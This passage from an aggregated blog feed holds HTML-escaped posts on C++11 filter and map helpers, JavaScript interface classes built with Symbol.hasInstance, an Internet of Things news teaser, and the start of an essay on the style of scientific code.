&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;ValueType&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reserve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;distance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;copy_if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;back_inserter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This snippet permits us to take &lt;em&gt;any&lt;/em&gt; range, apply a functor to it, and get a vector in return that
only contains those elements for which the functor returned &lt;code&gt;true&lt;/code&gt;. I realize that this is not as
flexible as the STL output iterator concept, but be honest—when was the last time you actually
wanted anything other than a &lt;code&gt;vector&lt;/code&gt; to store stuff? Just as &lt;a href="http://www.gnu.org/fun/jokes/ed-msg.html"&gt;&lt;code&gt;ed&lt;/code&gt; is the standard text
editor&lt;/a&gt;, &lt;code&gt;vector&lt;/code&gt; is the standard container in my opinion.&lt;/p&gt;
&lt;p&gt;We can use the new implementation in the following manner:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                 &lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;That is pretty concise in my opinion.&lt;/p&gt;
&lt;p&gt;Let’s implement &lt;code&gt;map&lt;/code&gt; next:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;algorithm&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;iterator&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;type_traits&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;vector&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;template&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;InputIterator&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Functor&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;InputIterator&lt;/span&gt; &lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;InputIterator&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Functor&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;result_of&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;Functor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;iterator_traits&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;InputIterator&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;value_type&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="n"&gt;FunctorValueType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;result_of&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;Functor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;typename&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;iterator_traits&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;InputIterator&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;value_type&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;FunctorValueType&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;functorValues&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;functorValues&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reserve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;distance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;transform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;                  &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;back_inserter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;functorValues&lt;/span&gt; &lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;functorValues&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;That contains two awesome C++11 features: Trailing return types and &lt;code&gt;std::result_of&lt;/code&gt;. We need this
because the value type of the returned vector depends on the result of applying the functor to one
of the values in the range! To be honest, the trailing return type is not really necessary, but I
always wanted to use it somewhere. Again, I think that this implementation results in quite concise
code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-cpp"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;begin&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;              &lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The holy grail would of course be the possibility to return the same type of container that is used
as the input, but the iterators do not permit this—for very good reasons. In any case, I am
now happily using these constructions in my code and hope that you will, too.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Sun, 13 Mar 2016 21:40:46 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2016/filter_map_cxx11/</guid></item><item><title>Internet of things, who's right? UK or Denmark?</title><link>https://stop.zona-m.net/2016/03/internet-of-things-whos-right-uk-or-denmark/</link><description>&lt;p&gt;It&amp;rsquo;s always fun, and useful, when two or more news, that somehow go against each other, are published in the same day. Last Friday we had:&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 13 Mar 2016 19:14:46 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/03/internet-of-things-whos-right-uk-or-denmark/</guid></item><item><title>Interfaces for JavaScript</title><link>https://qubyte.codes/blog/interfaces-for-javascript</link><description>&lt;p&gt;I use &lt;code&gt;instanceof&lt;/code&gt; a lot in JavaScript. It's very handy when writing unit tests. It's easier to do
an &lt;code&gt;instanceof&lt;/code&gt; check than it is to exhaustively probe an object.&lt;/p&gt;
&lt;p&gt;Unfortunately &lt;code&gt;instanceof&lt;/code&gt; usually means an object has been constructed. If the constructed object
is coming from a third party library, or there is no access to the constructor, it can become
fiddly.&lt;/p&gt;
&lt;p&gt;This is why I'm excited about ES2015s &lt;code&gt;Symbol.hasInstance&lt;/code&gt;. It allows you to tune the behaviour of
&lt;code&gt;instanceof&lt;/code&gt; for a class. Here's a minimal example of an &lt;em&gt;interface class&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;class&lt;/span&gt; &lt;span class="hljs-title class_"&gt;PositiveInteger&lt;/span&gt; {
  &lt;span class="hljs-title function_"&gt;constructor&lt;/span&gt;(&lt;span class="hljs-params"&gt;&lt;/span&gt;) {
    &lt;span class="hljs-keyword"&gt;throw&lt;/span&gt; &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Error&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;PositiveInteger is an interface class.&amp;#x27;&lt;/span&gt;);
  }

  &lt;span class="hljs-keyword"&gt;static&lt;/span&gt; [&lt;span class="hljs-title class_"&gt;Symbol&lt;/span&gt;.&lt;span class="hljs-property"&gt;hasInstance&lt;/span&gt;](value) {
    &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (&lt;span class="hljs-keyword"&gt;typeof&lt;/span&gt; value !== &lt;span class="hljs-string"&gt;&amp;#x27;number&amp;#x27;&lt;/span&gt;) {
      &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-literal"&gt;false&lt;/span&gt;;
    }

    &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (value &amp;lt; &lt;span class="hljs-number"&gt;0&lt;/span&gt;) {
      &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-literal"&gt;false&lt;/span&gt;;
    }

    &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; value % &lt;span class="hljs-number"&gt;1&lt;/span&gt; === &lt;span class="hljs-number"&gt;0&lt;/span&gt;;
  }
}

assert.&lt;span class="hljs-title function_"&gt;ok&lt;/span&gt;(&lt;span class="hljs-number"&gt;10&lt;/span&gt; &lt;span class="hljs-keyword"&gt;instanceof&lt;/span&gt; &lt;span class="hljs-title class_"&gt;PositiveInteger&lt;/span&gt;);   &lt;span class="hljs-comment"&gt;// does not throw&lt;/span&gt;
assert.&lt;span class="hljs-title function_"&gt;ok&lt;/span&gt;(-&lt;span class="hljs-number"&gt;10&lt;/span&gt; &lt;span class="hljs-keyword"&gt;instanceof&lt;/span&gt; &lt;span class="hljs-title class_"&gt;PositiveInteger&lt;/span&gt;);  &lt;span class="hljs-comment"&gt;// throws&lt;/span&gt;
assert.&lt;span class="hljs-title function_"&gt;ok&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;hi&amp;#x27;&lt;/span&gt; &lt;span class="hljs-keyword"&gt;instanceof&lt;/span&gt; &lt;span class="hljs-title class_"&gt;PositiveInteger&lt;/span&gt;); &lt;span class="hljs-comment"&gt;// throws&lt;/span&gt;
&lt;span class="hljs-keyword"&gt;var&lt;/span&gt; positiveInt = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;PositiveInteger&lt;/span&gt;();    &lt;span class="hljs-comment"&gt;// throws&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The class above exists &lt;em&gt;only&lt;/em&gt; to provide this &lt;code&gt;instanceof&lt;/code&gt; check. A more interesting example might
be a view. I assert that a view has an element, and render and remove methods. An interface class
for this might be:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;class&lt;/span&gt; &lt;span class="hljs-title class_"&gt;View&lt;/span&gt; {
  &lt;span class="hljs-title function_"&gt;constructor&lt;/span&gt;(&lt;span class="hljs-params"&gt;&lt;/span&gt;) {
    &lt;span class="hljs-keyword"&gt;throw&lt;/span&gt; &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Error&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;View is an interface class.&amp;#x27;&lt;/span&gt;);
  }

  &lt;span class="hljs-keyword"&gt;static&lt;/span&gt; [&lt;span class="hljs-title class_"&gt;Symbol&lt;/span&gt;.&lt;span class="hljs-property"&gt;hasInstance&lt;/span&gt;](value) {
    &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (!value) {
      &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-literal"&gt;false&lt;/span&gt;;
    }

    &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (&lt;span class="hljs-keyword"&gt;typeof&lt;/span&gt; value.&lt;span class="hljs-property"&gt;render&lt;/span&gt; !== &lt;span class="hljs-string"&gt;&amp;#x27;function&amp;#x27;&lt;/span&gt;) {
      &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-literal"&gt;false&lt;/span&gt;;
    }

    &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (&lt;span class="hljs-keyword"&gt;typeof&lt;/span&gt; value.&lt;span class="hljs-property"&gt;remove&lt;/span&gt; !== &lt;span class="hljs-string"&gt;&amp;#x27;function&amp;#x27;&lt;/span&gt;) {
      &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; &lt;span class="hljs-literal"&gt;false&lt;/span&gt;;
    }

    &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; value.&lt;span class="hljs-property"&gt;element&lt;/span&gt; &lt;span class="hljs-keyword"&gt;instanceof&lt;/span&gt; &lt;span class="hljs-title class_"&gt;HTMLElement&lt;/span&gt;;
  }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now view objects can come from any source as long as they have render and remove methods and an
element. Objects which implement various interface classes also mean that these interface classes
don't have to be in the same prototype chain. In other words, it gives you a way to use &lt;code&gt;instanceof&lt;/code&gt;
without invoking inheritance.&lt;/p&gt;
&lt;p&gt;Sadly &lt;code&gt;hasInstance&lt;/code&gt; will be one of the last ES2015 features to make it into browsers, so we'll have
to wait a while before we can use it. See
&lt;a href="http://kangax.github.io/compat-table/es6/#test-well-known_symbols_Symbol.hasInstance"&gt;the compatibility table&lt;/a&gt;.&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Sun, 13 Mar 2016 12:45:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/interfaces-for-javascript</guid></item><item><title>The Style of Scientific Code</title><link>https://bastibe.de/2016-03-13-code-quality-in-scientific-code.html</link><description>&lt;p&gt;What does quality code look like? One common school of thought focuses on small, descriptive functions that take few arguments. To quote from &lt;a href="https://en.wikipedia.org/wiki/Robert_Cecil_Martin"&gt;Clean Code&lt;/a&gt;: &amp;quot;The first rule of functions is that they should be small&amp;quot;, on the order of less than ten lines. &amp;quot;Functions should not be large enough to hold nested structures&amp;quot;. &amp;quot;The ideal number of arguments for a function is zero [, one, or two]. Three [or more] arguments should be avoided where possible&amp;quot;.&lt;/p&gt;
&lt;p&gt;A few years ago, when I was working mostly on user interaction and data management, all of this made sense to me. What is the overhead of a few function calls and class lookups here and there if it makes the code more readable? In other words: Readability counts, and is usually more important than performance.&lt;/p&gt;
&lt;p&gt;But lately, I have come to struggle with these rules. I am now writing a lot of scientific code, where algorithms are intrinsically complex beyond the syntactic complexity of the code. How do you &amp;quot;Express yourself in code [instead of comments]&amp;quot;, when that code only consists of linear algebra and matrix multiplications?&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;rectwin_spectrum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;angular_frequency&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;specsize&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;The spectrum of a rectangular window. [...]&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class="c1"&gt;# In case of angular_frequency == 0, this will calculate NaN. Since&lt;/span&gt;
    &lt;span class="c1"&gt;# this will be corrected later, suppress the warning.&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;errstate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;invalid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'ignore'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;spectrum&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;angular_frequency&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;specsize&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
